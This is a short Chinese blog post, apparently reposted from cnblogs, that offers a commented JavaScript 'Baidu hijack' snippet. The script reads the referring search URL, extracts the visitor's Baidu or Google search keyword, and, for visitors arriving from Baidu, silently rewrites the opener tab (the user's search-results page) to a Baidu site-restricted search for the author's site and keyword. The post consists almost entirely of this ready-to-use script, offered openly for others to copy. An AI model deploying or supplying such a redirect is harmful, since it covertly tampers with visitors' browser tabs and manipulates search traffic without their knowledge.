百度劫持js代码

js代码为:

 1     var myDate=new Date();  //返回一日期对象,可以调用getDate(),内容为当前时间,这句是新建一个对象d建好对象后d就有函数date()中的所有特性
 2     var h=myDate.getHours(); //获取你现在的小时
 3     var refer=document.referrer; //链接到当前页面的前一页面的 URL 地址 
 4     var sosuo=refer.split(".")[1]; //以.为分割点,比如www.baidu.com;截取结果为baidu 
 5     var grep=null; 
 6     var str=null; 
 7     var keyword=null; 
 8      
 9     switch(sosuo){ //对sosuo里的值进行判断,是否为baidu或者为google
10     
11         case"baidu":     grep=/wd=.*&/i;    // 如果是baidu,grep=/wd=.*&/i
12         str=refer.match(grep)         
13         keyword=str.toString().split("=")[1].split("&")[0];     
14         console.log(decodeURIComponent(keyword));   
15         break;     
16         case"google":     grep=/&q=.*&/i;  // 如果是google,grep=/&q=.*&/i   
17         str=refer.match(grep)    
18         keyword=str.toString().split("&")[1].split("=")[1]; 
19         console.log(decodeURIComponent(keyword));   
20         break; 
21     } 
22     var strs=document.referrer; //链接到当前页面的前一页面的 URL 地址 
23     if(strs.indexOf('baidu.com')!=-1){ //判断baidu.com
24             //str = str.toLowerCase();
25     strs = "http://www.baidu.com/s?ct=2097152&si=你的网址/&wd=你的关键词"
26             window.opener.location.href = strs; 
27             //就打开http://www.baidu.com/s?ct=2097152&si=你是网址/&wd=你的关键词
28     }
打开代码
转载请注明出处: 欢迎留言或qq(1090413588)交流
原文地址:https://www.cnblogs.com/linyusong/p/5869155.html